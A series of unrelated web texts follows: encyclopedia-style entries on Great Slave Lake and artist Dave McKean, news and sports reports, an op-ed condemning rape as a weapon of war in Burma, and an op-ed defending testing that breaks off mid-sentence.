Alberta, Canada, see Lesser Slave Lake The Great Slave Lake (French: Grand lac des Esclaves) is the second-largest lake in the Northwest Territories of Canada (after Great Bear Lake), the deepest lake in North America at 614 metres (336 fathoms; 2,014 ft),[1] and the tenth-largest lake in the world. It is 469 km (291 mi) long and 20 to 203 km (12 to 126 mi) wide.[2] It covers an area of 27,200 km2 (10,502 sq mi)[1] in the southern part of the territory. Its given volume ranges from 1,070 km3 (260 cu mi)[4] to 1,580 km3 (380 cu mi)[1] and up to 2,088 km3 (501 cu mi)[5] making it the 10th or 12th largest. The lake shares its name with the First Nations peoples called Slavey of the Dene family by their enemies the Cree. Towns situated on the lake include Yellowknife, Hay River, Behchokǫ̀, Fort Resolution, Łutselk'e, Hay River Reserve, Dettah, and Ndilǫ. The only community in the East Arm is Łutselk'e, a hamlet of about 350 people, largely Chipewyan Indigenous peoples of the Dene Nation and the now abandoned winter camp/Hudson's Bay Company post, Fort Reliance. Along the south shore, east of Hay River is the abandoned Pine Point Mine and the company town of Pine Point. History [ edit ] Indigenous peoples were the first settlers around the lake after the retreat of glacial ice. Archaeological evidence has revealed several different periods of cultural history, including: Northern Plano Paleoindian tradition (8,000 years before present), Shield Archaic (6,500 years), Arctic small tool tradition (3,500 years), and the Taltheilei Shale Tradition (2,500 years before present). Each culture has left a distinct mark in the archaeological record based on type or size of lithic tools.[6] Great Slave Lake was put on European maps during the emergence of the fur trade towards the northwest from Hudson Bay in the mid 18th century. The name 'Great Slave' came from the Slavey Indians, one of the Athapaskan tribes living on its southern shores at that time. The name was influenced by Cree disdain for this rival tribe, with whom they shared a sordid history. As the French explorers dealt directly with the Cree traders, the large lake was referred to as "Grand lac des Esclaves" which was eventually translated into English as "Great Slave Lake".[7] British fur trader Samuel Hearne explored Great Slave Lake in 1771 and crossed the frozen lake, which he named Lake Athapuscow. In 1897-1898, the American frontiersman Charles "Buffalo" Jones traveled to the Arctic Circle, where his party wintered in a cabin that they had constructed near the Great Slave Lake. Jones's exploits of how he and his party shot and fended off a hungry wolf pack near Great Slave Lake was verified in 1907 by Ernest Thompson Seton and Edward Alexander Preble when they discovered the remains of the animals near the long abandoned cabin.[8] In the 1930s, gold was discovered on the North Arm of Great Slave Lake, leading to the establishment of Yellowknife which would become the capital of the NWT. In 1960, an all-season highway was built around the west side of the lake, originally an extension of the Mackenzie Highway but now known as Yellowknife Highway or Highway 3. On January 24, 1978, a Soviet Radar Ocean Reconnaissance Satellite, named Kosmos 954, built with an onboard nuclear reactor fell from orbit and disintegrated. Pieces of the nuclear core fell in the vicinity of Great Slave Lake. 90% of the nuclear debris was recovered by a joint Canadian Armed Forces and United States Armed Forces military operation called Operation Morning Light.[9] Geography and natural history [ edit ] Mackenzie River drainage basin showing Great Slave Lake's position in the Western Canadian Arctic The Hay, Slave, Lockhart, and Taltson Rivers are its chief tributaries. It is drained by the Mackenzie River. Though the western shore is forested, the east shore and northern arm are tundra-like. The southern and eastern shores reach the edge of the Canadian Shield. Along with other lakes such as the Great Bear and Athabasca, it is a remnant of the vast glacial Lake McConnell. The lake has a very irregular shoreline. The East Arm of Great Slave Lake is filled with islands, and the area is within the proposed Thaydene Nene National Park Reserve. The Pethei Peninsula separates the East Arm into McLeod Bay in the north and Christie Bay in the south. The lake is at least partially frozen during an average of eight months of the year. The main western portion of the lake forms a moderately deep bowl with a surface area of 18,500 km2 (7,100 sq mi) and a volume of 596 km3 (143 cu mi). This main portion has a maximum depth of 187.7 m (616 ft) and a mean depth of 32.2 m (106 ft).[10] To the east, McLeod Bay ( ) and Christie Bay ( ) are much deeper, with a maximum recorded depth in Christie Bay of 614 m (2,014 ft)[1] On some of the plains surrounding Great Slave Lake, climax polygonal bogs have formed, the early successional stage to which often consists of pioneer black spruce.[11] South of Great Slave Lake, in a remote corner of Wood Buffalo National Park, is the Whooping Crane Summer Range, a nesting site of a remnant flock of whooping cranes, discovered in 1954.[12] Bodies of water and tributaries [ edit ] Rivers that flow into Great Slave Lake include (going clockwise from the community of Behchokǫ̀);[13][14] Emile River Snare River Wecho River Stagg River Yellowknife River Beaulieu River Waldron River Hoarfrost River Lockhart River Snowdrift River La Loche River Thubun River Terhul River Taltson River Slave River Little Buffalo River Buffalo River Hay River Mosquito Creek Duport River Marian Lake North Arm Yellowknife Bay Resolution Bay Deep Bay McLeod Bay Christie Bay Sulphur Cove Presqu'ile Cove Rocher River Frank Channel Ice road [ edit ] Great Slave Lake has one ice road known as the Dettah ice road. It is a 6.5 km (4.0 mi) road that connects the Northwest Territories capital of Yellowknife to Dettah, a small First Nations fishing community also in the Northwest Territories. To reach the community in summer the drive is 27 km (17 mi) via the Ingraham Trail. April 28, 2012 on Yellowknife Bay. The surface melt begins to make transportation more difficult to and from the houseboats near Jolliffe Island. Ice Lake Rebels [ edit ] From 2014 to 2016, Animal Planet aired a documentary series called Ice Lake Rebels. It takes place on Great Slave Lake, and details the lives of houseboaters on the lake.[15] Gallery [ edit ] Dettah ice road on Great Slave Lake Utsingi Point (East Arm) on the eastern edge of the proposed Thaydene Nene National Park Northern Bay, Great Slave Lake Hay River, one of the tributaries of Great Slave Lake Forest fires in northern Canada, southeast of Great Slave Lake See also [ edit ] References [ edit ] Further reading [ edit ] Canada. (1981). Sailing directions, Great Slave Lake and Mackenzie River . Ottawa: Dept. of Fisheries and Oceans. ISBN 0-660-11022-9 . Ottawa: Dept. of Fisheries and Oceans. ISBN 0-660-11022-9 Gibson, J. J., Prowse, T. D., & Peters, D. L. (2006). "Partitioning impacts of climate and regulation on water level variability in Great Slave Lake." Journal of Hydrology . 329 (1), 196. . 329 (1), 196. Hicks, F., Chen, X., & Andres, D. (1995). "Effects of ice on the hydraulics of Mackenzie River at the outlet of Great Slave Lake, N.W.T.: A case study." Canadian Journal of Civil Engineering . Revue Canadienne De G̐ưenie Civil. 22 (1), 43. . Revue Canadienne De G̐ưenie Civil. 22 (1), 43. Kasten, H. (2004). The captain's course secrets of Great Slave Lake . Edmonton: H. Kasten. ISBN 0-9736641-0-X . Edmonton: H. Kasten. ISBN 0-9736641-0-X Jenness, R. (1963). Great Slave Lake fishing industry . Ottawa: Northern Co-ordination and Research Centre. Dept. of Northern Affairs and National Resources. . Ottawa: Northern Co-ordination and Research Centre. Dept. of Northern Affairs and National Resources. Keleher, J. J. (1972). Supplementary information regarding exploitation of Great Slave Lake salmonid community . Winnipeg: Fisheries Research Board, Freshwater Institute. . Winnipeg: Fisheries Research Board, Freshwater Institute. Mason, J. A. (1946). Notes on the Indians of the Great Slave Lake area . New Haven: Yale University Department of Anthropology, Yale University Press. . New Haven: Yale University Department of Anthropology, Yale University Press. Sirois, J., Fournier, M. A., & Kay, M. F. (1995). The colonial waterbirds of Great Slave Lake, Northwest Territories an annotated atlas. Ottawa, Ont: Canadian Wildlife Service. ISBN 0-662-23884-2 -New Delhi: Noted jurist Ram Jethmalani, 94 on Saturday announced his retirement from over seven-decade-long career as advocate. He referred to the present status of governance as "calamity and said he would continue to fight corrupt politicians. "I am here just to tell you I am retiring from the profession but I am taking on a new role as long as I am alive. I wish to combat the corrupt politicians that have been brought into the position of power and I hope the condition of India will take good shape," Jethmalani said. Jethmalani alleged that the present NDA government has "let down" the nation like the previous UPA dispensation. He was speaking at a function organised by apex bar body, the Bar Council of India, to felicitate new Chief Justice of India Justice Dipak Misra. "The country is not in a good shape. The previous and the current governments, both have let down the nation very badly. "It is the duty of the members of the bar and all good citizens to rise to this great calamity," he said adding that they should do their best to see that those in positions of power are shown the exit door as soon as possible. Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button. -Saturday December 12, 2015 East Carolina: Duke offensive coordinator Scottie Montgomery will be the next head coach at ECU, per Bruce Feldman. East Carolina: Brady Hoke and Everett Withers were widely reported to be interviewing again today and we mentioned that there were whispers of a third potential candidate. We hear that Duke offensive coordinator Scottie Montgomery is still be involved in the process. Hanover College (D-III – IN): Franklin College offensive coordinator Matt Theobald has been named head coach at his alma mater. Penn State: Fordham head coach Joe Moorhead will be Penn State’s offensive coordinator according to multiple reports. Texas: Texas has officially announced Sterlin Gilbert as offensive coordinator/quarterbacks coach and Matt Mattox as offensive line coach/run game coordinator. Gilbert will earn $850,000 per year over a three-year contract; Mattox will make $550,000 a year over his three-year contract. Shawn Watson and Joe Wickline will not have their contracts renewed. Tulsa: Quality control assistant/assistant offensive line coach Matt Bloesch has been promoted to offensive line coach. The Hurricane’s other open position will be filled after the Dec. 26 Independence Bowl. Virginia: Bronco Mendenhall has added Ruffin McNeill as assistant head coach / inside linebackers. To recap, UVA retained Marques Hagans as receivers, added Ruffin and is bringing six assistants from BYU: Robert Anae (OC), Mark Atuaia (RBs), Jason Beck (QBs), Garret Tujague (OL), Nick Howell (DC) and Kelly Poppinga (STC). Oklahoma State: We continue to hear that Gundy will fill Robby Discher’s special teams role in the same capacity. The hire is expected to be a grad assistant, not one of the nine full-time positions. Georgia: Sources confirmed to us Pitt offensive coordinator Jim Chaney will be the offensive coordinator at Georgia. Sources also now have confirmed Arkansas offensive line coach Sam Pittman will join him at Georgia. Texas: It took the President of the University, the AD, the head football coach and others to go to Tulsa last night; but UT wound up getting their guys. Sterlin Gilbert is coming as offensive coordinator and Matt Mattox will be the new offensive line coach at UT. Jackson State (FCS – MS): If Mississippi State’s Tony Hughes can’t get a deal done, sources tell FootballScoop that North Carolina Central head coach Jerry Mack could have further discussions with JSU. -Rep. David Schweikert David SchweikertThe Hill's 12:30 Report: Sanders set to shake up 2020 race House Dems release 2020 GOP 'retirements to watch' for Ethics committee expanding investigation into GOP rep over finance questions MORE (R-Ariz.) on Thursday suggested that a lack of rhetorical discipline may be responsible for any appearance that President Trump attempted to obstruct a federal investigation. "I'm at the point where we also have to be real careful from the standpoint that we have a president that's not from the political class," Schweikert said on NPR's "Morning Edition." "The learning of the disciplined use of language and what certain words mean in our context — if you're not from this world, you may not have developed that discipline," he added. ADVERTISEMENT Schweikert's comments came after The Washington Post reported Wednesday that special counsel Robert Mueller was investigating Trump for possible obstruction of justice, signaling a major change in the federal investigation into Russia's role in the 2016 presidential election and possible ties between the Trump campaign and Moscow. At issue is Trump's reported requests to top intelligence officials to downplay or shut down investigations involving his former national security adviser Michael Flynn and possible coordination between the Trump campaign and Russia. In a February meeting with then-FBI Director James Comey, the president reportedly told the law enforcement official, "I hope you can see your way clear to letting this go, to letting Flynn go." Trump abruptly fired Comey early last month amid the Russia probe. Trump also reportedly pressed Dan Coats Daniel (Dan) Ray Coats58 ex-national security officials rebuke Trump over emergency declaration DNC unveils new security checklist to protect campaigns from cyberattacks Overnight Defense: Trump to leave 200 troops in Syria | Trump, Kim plan one-on-one meeting | Pentagon asks DHS to justify moving funds for border wall MORE, the director of national intelligence, and Michael Rogers, the director of the National Security Agency, to publicly deny the existence of evidence suggesting collusion between his campaign and Russia. -Ed Davis was a popular player on some truly terrible Toronto Raptors teams from 2010 to 2013. An athletic big man that could rebound, block shots and finish around the rim, but wasn’t changing the fact his team couldn’t win. Traded away in a last ditch effort to save then President and General Manager Bryan Colangelo’s job, Davis has bounced from Memphis to the Lakers and is expected to decline his NBA minimum salary player option for next season to become an unrestricted free agent for the second time. So, should the rebounding challenged Raptors attempt to bring him back? There are a lot of free agent big men available this year and Toronto has to make decisions on Amir Johnson, Tyler Hansbrough, Chuck Hayes and Greg Stiemsma before looking at the numerous possibilities available. The issue with Davis in Toronto and elsewhere hasn’t been his production. His per 36 minute numbers have averaged right around 12.1 points, 10.6 rebounds, 1.7 blocks and 0.9 steals in each of his five NBA seasons with three different teams and his average minutes bouncing between 15 and 24. This past season in Los Angeles was his best season and the analytics looked good, but it really wasn’t out of line with what he’s done in the past and the old hard to shake ‘soft’ label continued to follow him. SB Nation, Silver Screen and Roll, Free Agent Forecast: Ed Davis raises some all too familiar observations: Jameson Miller: Davis has had a great year in limited minutes on an awful team, so valuing him accurately comes with all sorts of potential pitfalls and caveats. Trevor Lane: He is a fantastic player but his shortcomings limit his usefulness. His slim frame kills his effectiveness as a center by making it tough for him to stand his ground defensively against bigger players, while his complete lack of a jump shot makes it difficult to play him at power forward. Davis has looked at his best on bad teams that were willing to give him minutes. What should concern his next team looking to invest more than the NBA minimum contract the Lakers handed to him is what happened in Memphis. The Grizzlies gave him a good look, but after January 2014 he only averaged 11 minutes per game interspersed with numerous DNPs. Then Memphis let him walk as a free agent at the end of the season. The soon-to-be 26-year-old did average 8.3 points, 7.6 rebounds, 1.2 blocks and 23.3 minutes while shooting an impressive 60.1 percent from the field with the Lakers – although 96 percent of his shots were within 10 feet of the rim. Davis has done enough to be noticed in a crowded field of free agent big men this summer and could be a nice addition off the bench in the right situation. Toronto might be that situation – maybe. Ideally Davis would be playing beside a stretch-four/five with the physical presence needed to not get pushed around in the paint by bigger players, someone like the Raptors Patrick Patterson or Amir Johnson. It isn’t an easy call and Toronto may be able to find better options, but if Davis can convince Head coach Dwane Casey that he could help the Raptors rebound better, then there could be a role for him on the roster. Davis should attract a little more attention in free agency this summer than he did in 2014 when he had little choice but to accept the Lakers minimal offer, but he really didn’t show any more potential this past season than he did when he was in Toronto. Davis’ agent still has a sales job to do in order to get his client a better deal. In the end it may come down to choosing between more money and a smaller role in a better/winning situation. Stephen Brotherston covers the Toronto Raptors and visiting NBA teams at the Air Canada Centre and is a member of the Professional Basketball Writers Association. -A Rohingya Muslim refugee woman holds her child as they wait to go to refugee camps near the Thankhali refugee camp in Bangladesh’s Ukhia district after fleeing Burma. (Dibyangshu Sarkar/AFP/Getty Images) The Weinstein Effect is rippling out across the globe. It’s no longer just women in the United States who are speaking up about sexual harassment — their counterparts in many other countries are, too. And we’re once again seeing confirmation of a truth that is often overlooked in discussions of sexual misconduct or assault: These stories are often more about power than they are about sex. Specifically, for men in positions of power, it’s often about demonstrating the extent of their control over the vulnerable. The same principle applies — albeit in more extreme form — when sexual violence is used as a weapon of war. The aggressor aims to impose the most extreme humiliation on his victims, to destroy their dignity, to devastate their souls. This isn’t about pleasure. It’s about the calculated and vicious exercise of power over a helpless target. This is the absolute negation of love — the exact opposite of what sex should be about. You will be reminded of this if you can bring yourself to delve into the latest report on Burma from Human Rights Watch. It makes for a harrowing read. One of the group’s researchers has carefully documented the use of rape as an instrument of terror during the Burmese military’s recent ethnic cleansing campaign, which since August has driven more than 600,000 members of the Muslim Rohingya minority into neighboring Bangladesh. “In every case described to us, the perpetrators were uniformed members of the security forces, almost all military personnel,” the report carefully notes. Most of the documented attacks involved gangs of soldiers attacking individual women. Nura Begum, 35, tried to prevent her four children from seeing what was happening to her. “I kept screaming and saying not to rape me in front of the children. But they did what they wanted to my body.” Akash Abdul described how she and her younger sister tried to flee after watching security forces kill the other members of their family. “As we got to the edge of the village two soldiers grabbed me,” she said. “They threw me to the ground and then raped me.” She was 14 years old. You might think that such crimes are outliers. You would be wrong. The use of rape as a weapon of war is widespread. Thousands of women have fallen victim to it in South Sudan’s civil war. The reign of ISIS in Syria and Iraq has resulted in the wholesale sexual abuse of young women from the ancient religious community of the Yezidis. Women were also raped during the recent ethnic unrest in Burundi. Sri Lanka’s civil war ended in 2009, but members of its Tamil minority say that they still often face torture, including rape, when targeted by security forces. Rwanda, Bosnia, and the Democratic Republic of Congo have all experienced sexual violence in recent memory; all these countries have their communities of survivors. Men in conflict zones also fall victim to sexual violence. According to a recent story in the Guardian, post-revolutionary Libya has seen a spate of such attacks, usually involving militias from groups persecuted by the old regime taking revenge on their enemies. Women are never exempt, though. the Guardian story also quoted one female survivor of sexual violence in Libya: “The worst thing they did to me,” she whispered, “is to rape me in front of my eldest son. Since then, he won’t speak to me.” In the sick logic of war, rape is a highly effective weapon. Its crippling effects can last for years. By creating shame and humiliation it destroys ties within families and communities. It silences and paralyzes. We know it’s a crime. It’s been defined as one in international law. But it’s still happening. And it will continue to happen until we can make the perpetrators truly accountable. The case of Burma would be a good place to start. Pramila Patten, the U.N. special envoy on sexual violence in conflict, has directly accused the Burmese military of responsibility for the campaign of rape. Last week the Burmese military issued a report denying all related allegations — in terms similar to those of a Burmese officer, Col. Phone Tint, who in early September was already dismissing reports of sexual violence: “Where is the proof?” he asked. “Look at those women who are making these claims — would anyone want to rape them?” The international community should act while these crimes are still fresh. We must demand that the Burmese government cease its ethnic cleansing campaign. Western governments should stop supplying the Burmese military with arms and aid. We must target the responsible generals with personal sanctions and move to ensure that they face justice. (The International Criminal Court is only one option.) But let’s not forget the other victims of similar atrocities around the world. And above all, let’s make a concerted global effort to marshal money and resources for the medical and psychological care the survivors so urgently need. We should not compound past crimes by the sin of neglect. -For other people named David McKean, see David McKean (disambiguation) David McKean (born 29 December 1963)[1] is an English illustrator, photographer, comic book artist, graphic designer, filmmaker and musician. His work incorporates drawing, painting, photography, collage, found objects, digital art and sculpture. McKean's projects include illustrating books by amongst others Neil Gaiman, Heston Blumenthal, Ray Bradbury and Stephen King, and directing three feature films. Career [ edit ] Comics [ edit ] After a trip to New York City in 1986 during which he first showed his work to editors at Marvel Comics, DC Comics, and Continuity Comics, McKean met writer Neil Gaiman, and the pair collaborated on a short graphic novel of disturbing childhood memories, Violent Cases, published in 1987.[2] This was followed in 1988 by a Black Orchid miniseries[3][4] and Hellblazer covers for DC Comics.[5][6] In 1989, he illustrated the Batman graphic novel, Arkham Asylum: A Serious House on Serious Earth, with writer Grant Morrison.[7] Comics historian Les Daniels observed that "Arkham Asylum was an unprecedented success, selling 182,166 copies in hardcover and another 85,047 in paperback...McKean produced 120 pages of paintings for Arkham Asylum, offering powerful visual reinterpretations of the classic characters."[8] From 1989–1997 McKean produced the covers for Gaiman's celebrated series The Sandman, all its collected editions, and many of its spin-offs.[9][10] In 1998, the cover images from The Sandman were released as one compiled volume titled Dustcovers: The Collected Sandman Covers.[11] Further collaborations with Gaiman produced the graphic novels Signal to Noise in 1992 previously serialised in The Face magazine, about a dying filmmaker and his hypothetical last film; and The Tragical Comedy or Comical Tragedy of Mr. Punch, which explored similar themes as Violent Cases through the imagery of the Punch and Judy show. In 1995 McKean wrote and illustrated a book for The Rolling Stones called Voodoo Lounge to tie-in with the release of their album of the same name.[6] Between 1990 and 1996, McKean wrote and drew the ten issues of Cages, an ambitious graphic novel about artists and creativity, illustrated in a stripped-down pen-and-ink style influenced by Alberto Breccia, José Antonio Muñoz and Lorenzo Mattotti.[12] Cages was published as single volume by Kitchen Sink Press in 1998, and in a new edition by NBM Publishing in 2002. In 2010, Cages was released by Dark Horse Comics in paperback. An anniversary edition was released in 2016 by the same publisher, featuring a new introduction by Terry Gilliam.[6] McKean's collections of short comics Pictures That Tick, and Pictures That Tick 2: Exhibition[13] were published by Dark Horse Comics in 2009 and 2015. Pictures That Tick won the Victoria and Albert Museum Illustrated Book of the Year award. McKean created a wordless erotic graphic novel called Celluloid[14] for Delcourt, which was published in the United States by Fantagraphics Books. Black Dog: The Dreams of Paul Nash, which was a commission by the 14-18 Now Foundation, The Imperial War Museum and The Lakes International Comic art Festival, was released as an artist's edition in June 2016, and was published in October 2016 by Dark Horse Comics as an oversized hardback and regular paperback. The project was also a live performance featuring cellist/singer Matthew Sharp and violinist Clare Haythornthwaite, and was performed in Amiens, Kendal, London, Rye and Ashford. Illustration [ edit ] McKean designed the posters for the Raindance Film Festival[15] for five consecutive years between 1996–2000. In 1997 he wrote, directed and edited a ninety-second trailer for the festival. In 2005, McKean designed the poster for the 32nd Telluride Film Festival. In 2006, he designed projections, sets and directed film clips for the Broadway musical Lestat, adapted from Anne Rice's novels, with music and lyrics by Elton John and Bernie Taupin. McKean has created a few books documenting his travels using only illustrations. Examples include Postcards from Vienna, Postcards from Barcelona, Postcards from Paris (2008), Postcards from Brussels (2009), Postcards from Perugia (2011), Postcards from Bilbao (2012). He created another book of 200 pages called Squink (éditions BdArtist(e)) that gathered a number of drawings in 15 chapters. C.D. and book covers [ edit ] McKean created C.D. covers for many artists, amongst others for Alice Cooper, Altan, Tori Amos, Download, Frontline Assembly, Paradise Lost, Dream Theater, Skinny Puppy,[16] Toad the Wet Sprocket and Steve Walsh. He made book covers for Jonathan Carroll, Iain Sinclair and Alan Moore. Books of photography [ edit ] He has published four books of photography: A Small Book of Black and White Lies (1995) (1995) Option: Click (1998) (1998) The Particle Tarot: The Major Arcana The Particle Tarot: The Minor Arcana Work with John Cale [ edit ] McKean designed and illustrated John Cale's autobiography What's Welsh for Zen, a further biography called Sedition and Alchemy, a box set of C.D.s called Circus Live, and used John's Welsh-by-way-of-New York voice as the narrator for his short film N[eon]. Children's picture books [ edit ] McKean has collaborated with Neil Gaiman on four children's picture books, The Day I Swapped My Dad for Two Goldfish (1998), The Wolves in the Walls (2003), Crazy Hair (2009), and Mirrormask (2005), and illustrated Gaiman's children's novels Coraline (2002) and The Graveyard Book (2008), as well as S. F. Said's Varjak Paw (2003), Outlaw Varjak Paw (2006) and Phoenix (2013). The Wolves in the Walls: a Musical Pandemonium premiered as a play in Glasgow in 2006 with Improbable and the National Theatre of Scotland. The National Theatre of Scotland adapted The Day I Swapped My Dad for Two Goldfish into a promenade performance for young people in 2013. He illustrated David Almond's The Savage published in April 2008, Slog's Dad published in September 2010, and Mouse Bird Snake Wolf (2013). In 2011, McKean collaborated with Richard Dawkins on The Magic of Reality, an introduction to critical thinking and science for children.[17] McKean also illustrated Ray Bradbury's The Homecoming (2006). The Fat Duck Cookbook [ edit ] In 2008, McKean collaborated with Heston Blumenthal on The Fat Duck Cookbook, an autobiography, compilation of key recipes and insight into Blumenthal's scientific method. The book was nominated in the James Beard Foundation Awards for Cooking from a Professional Point of View and won the Photography/Illustration award. In 2014, McKean collaborated again with Blumenthal and writer Pascal Clariss on Historical Heston, a collection of historically inspired recipes. The book won two James Beard Foundation Awards. McKean is the Director of Story at The Fat Duck, and helped to relaunch the restaurant after its refurbishment in 2015. He has created package designs, maps, menu designs and murals for The Fat Duck, as well as Dinner by Heston Blumenthal in London and Melbourne. Stamps [ edit ] McKean created six images for the Royal Mail's Mythical Creatures collection, which featured depictions of mythical creatures found in British folklore, including dragons, unicorns, giants, pixies, mermaids, and fairies. The collection was released in the UK on 16 June 2009. The Presentation Pack contains short descriptions of each subject by author Neil Gaiman.[18] Films [ edit ] MirrorMask, McKean's first feature film as director, premiered at the Sundance Film Festival in January 2005. The screenplay was written by Neil Gaiman, from a story by Gaiman and McKean. A children's fantasy which combines live action and digital animation, MirrorMask was produced by Jim Henson Studios and stars a British cast Stephanie Leonidas, Jason Barry, Rob Brydon, and Gina McKee. Before MirrorMask, McKean directed a number of television intros and music videos as well as several short films, such as The Week Before (1998) and N[eon] (2002),[19] which are included in the compilation DVD of McKean's work Keanoshow from Allen Spiegel Fine Arts. McKean has directed The Gospel of Us, a film of the National Theatre Wales's Passion play in Port Talbot which stars Michael Sheen.[20] A new feature film, Luna,[21] written and directed by McKean and starring Stephanie Leonidas, Ben Daniels, Dervla Kirwan and Michael Maloney debuted at the Toronto International Film Festival in September 2014. McKean was a concept artist on the TV mini-series Neverwhere (1996), which was created and co-written by Neil Gaiman, and the feature films Harry Potter and the Prisoner of Azkaban (2004) and Harry Potter and the Goblet of Fire (2005). Theatre and Live Performance [ edit ] McKean wrote and performed a song cycle called Nine Lives[22] at the Sydney Opera House as part of the Graphic Festival. This was also performed at the British Library and at LICAF. McKean wrote the text for Wildworks' Wolf's Child[23] site-specific theatre work as part of the Norwich Theatre Festival in 2015. An Ape's Progress [24] was a commission by the Manchester Literature/Jazz Festivals in 2015, and was created by poet Matthew Sweeney, composer/saxophone player Iain Ballamy, cellist Matthew Sharp, singer Emilia Martensson, accordionist Stian Carstensen, and pianist Kit Downes, with McKean providing film projections and keyboards. A book of the work accompanied the show. Black Dog: The Dreams of Paul Nash [25] is a multi-media, music, song and performance work commissioned by 14-18 Now Foundation and LICAF. McKean performs as narrator and pianist, Matthew Sharp as performer, singer and cellist, and Clare Haythornthwaite as violinist/performer. It was premiered in Amiens, and has been performed in Kendal. In 2016 it was performed in Rye, Ashford and at Tate Modern. Jazz label [ edit ] McKean founded the record label Feral Records[26] with saxophonist Iain Ballamy. Awards [ edit ] McKean has won numerous awards and accolades. Over the years, he has been nominated five times for a World Fantasy Award in the category of "Artist", and he won the award in 1991.[27] His graphic novel Cages won the Alph-Art, Pantera, and Harvey Awards for best Graphic Novel.[28] He has been nominated six times and won three Spectrum Awards in the categories of "Advertising", "Book", and "Comic".[29] His collection of short comics, Pictures That Tick won the V&A Museum Illustrated Book Awards Overall First Prize.[28] In 2004, McKean won a BSFA Award in "Short Fiction" along with Neil Gaiman for their work, The Wolves in the Walls. His film MirrorMask was nominated for the William Shatner Golden Groundhog Award for Best Underground Movie, the other nominated films were Green Street Hooligans, Nine Lives, Up for Grabs and Opie Gets Laid.[30] Luna won Best British Feature at the Raindance Festival Awards,[31] and also the Raindance Award at the Möet British Independent Film Awards.[32] In 2017 Mckean was the inaugural recipient of the "Sergio Aragones International Award for Excellence in Comic Art", given as part of The Lakes International Comic Art Festival.[33] -Scotland's leader Alex Salmond will on Saturday urge Scots to put aside party politics in the vote on independence, as he tries to win support from Labour rivals for his bid to leave the United Kingdom. In an address to the Scottish National Party's (SNP) last conference before a September 18 referendum, Salmond will stress that a vote for independence is not a vote for him or his party but a way to put Scotland's future in its own hands. His appeal comes after a narrowing in opinion polls that has for the first time made a vote for independence look a possibility, with both sides trying to persuade the up to 15 percent of voters who remain undecided. Salmond will promise to set up an all-party "Team Scotland" group after any "Yes" vote, to negotiate the terms of independence by March 24, 2016. His promise is an appeal to Scottish Labour voters, many of whom bitterly oppose the SNP, which won the first majority government of Scotland's devolved parliament in a landslide victory in 2011. "A Yes vote in September is not a vote for me, or for an SNP government in 2016 (at the next Scottish election)," Salmond is expected to tell 1,200 party faithful gathered in Aberdeen, the oil capital of Scotland, for the two-day conference. "It's a vote for a government in Scotland that the people of Scotland choose, pursuing policies the people of Scotland support." Keep updated: Sign up to our newsletter Email * Please enter a valid email address Sign up Please wait… Thank you for signing up. We've got more newsletters we think you'll find interesting. Click here Oops. Something went wrong. Please try again later. Try again Thank you, The email address you have provided is already registered. Close Rallying call against conservatives Salmond will stress that the reason to vote for independence and end the 307-year-old tie to England is so that oil-rich Scotland can decide its own policies and not have its fate determined by politicians in London. He will say that any government of an independent Scotland would be in control of tax, the economy, social security, employment, immigration, oil and gas revenues, European policy and a range of other areas now under Westminster's control. "That may be the SNP. It may be Labour. It may be a coalition," he will say. "I tell you what it won't be. It won't be a government led by a party with just a single MP in Scotland," he will add, referring to the Conservative Party which is unpopular in Scotland but the major partner of Britain's ruling coalition. In the Scottish Parliament the SNP holds 65 seats while Labour has 38 and the Conservatives 15. The rest are held by Liberal Democrats, Greens and independents. Salmond's appeal for cross-party support comes as opinion polls this week showed support for independence at about 40 percent, up from 30 percent a year ago, and compared to 45 percent opposition. The pro-union Better Together campaign said the polls showed they were still ahead, citing a YouGov survey on Friday that found 57 percent of Scots supported Scotland staying in the UK but with increased powers for the Scottish Parliament. Businesses have raised concerns about the risks of independence and the uncertainty regarding what currency would be used in an independent Scotland, financial regulations, taxation and European Union membership. "As part of the UK we can have the best of both worlds - a strong Scottish Parliament, with the guarantee of more powers, backed up by the strength, security and stability of being part of the larger UK. Only separation would put that at risk," said the shadow Secretary of State for Scotland Margaret Curran. -When cognitive psychologists talk about testing, and when the rest of the population uses that word, they mean different things. For educators and parents, testing means standardized testing: a tool wielded by politicians and administrators to terrify children and teachers. When cognitive psychologists hear the word testing, they think immediately of “the testing effect” — one of the best learning strategies. This may seem like semantics, but it’s a problem. The testing effect is the idea that trying to remember something leads to greater learning than just re-reading information. In one famous experiment, participants tried to learn information from a textbook either by repeatedly re-reading, or repeatedly writing out everything they could remember after reading the information only once. The strategy of writing from memory led to 60 percent correct recall of the material one week later, compared to only 40 percent in the repeated reading condition. But despite its effectiveness as a learning strategy, the testing effect had to be rebranded to the less scary/more fun-sounding “quizzing” and we have had to come up with more and more subtle ways to produce the effect without students realizing that they are being tested — somewhat akin to hiding broccoli in brownies. Advertisement As champions of the testing effect, we find it awkward to hear bemoaning of standardized tests. So, let’s tackle a few of the most common critiques: Tests cause anxiety Get Today in Opinion in your inbox: Globe Opinion's must-reads, delivered to you every Sunday-Friday. Sign Up Thank you for signing up! Sign up for more newsletters here There’s no doubt that challenging, high-stakes tests can provoke anxiety in some students. But, perhaps counterintuitively, the solution to this problem is not to get rid of testing; instead, it is to encourage more testing – particularly frequent, lower-stakes testing. With many tests spread out across the year, each individual test will be worth less and thus necessarily lower stakes; students will become more accustomed to testing, and thus, less afraid of it. What’s more, every time they bring information to mind during a test, students are creating new memories from the cognitive effort involved. So more testing will lead to more learning and could decrease anxiety. Teachers and parents can also try to redirect some of that anxiety, a tactic that makes students feel more confident and actually perform better on high-stakes tests. Researchers have found one promising method in which students are told that the anxiety they feel before a test is actually helpful – not harmful – to their test performance. Finally – and this is something that ought to be examined empirically – the negative views of testing repeated by teachers and parents may be feeding into kids’ anxiety and test-aversion. Just like public speaking, tests are an aspect of education that kids tend not to like even though it’s good for them. Our job as parents is to realize that the benefits of testing outweigh the inconvenience of dealing with kids’ complaints. Teaching to the test The idea that teaching to a test isn’t really teaching implies an almost astounding assumption that standardized tests are filled with meaningless, ill-thought-out questions on irrelevant or arbitrary information. This may be based on the myth that “teachers in the trenches” are being told what to teach by some “experts” who’ve probably never set foot in a “real” classroom. What these defiant teachers fail to realize – or simply choose to ignore – is that these experts are groups of carefully selected individuals that always include well-seasoned “real classroom teachers”, who guide the decision-making on what material should be assessed by the tests. For those wanting to find out more about how tests are made, here’s an informative video by the Educational Testing Service which develops, administers or scores more than 50 million tests. Standardized tests are biased Advertisement Standardized tests are not the great equalizer that will eliminate discrimination. But it is highly unlikely an individual teacher 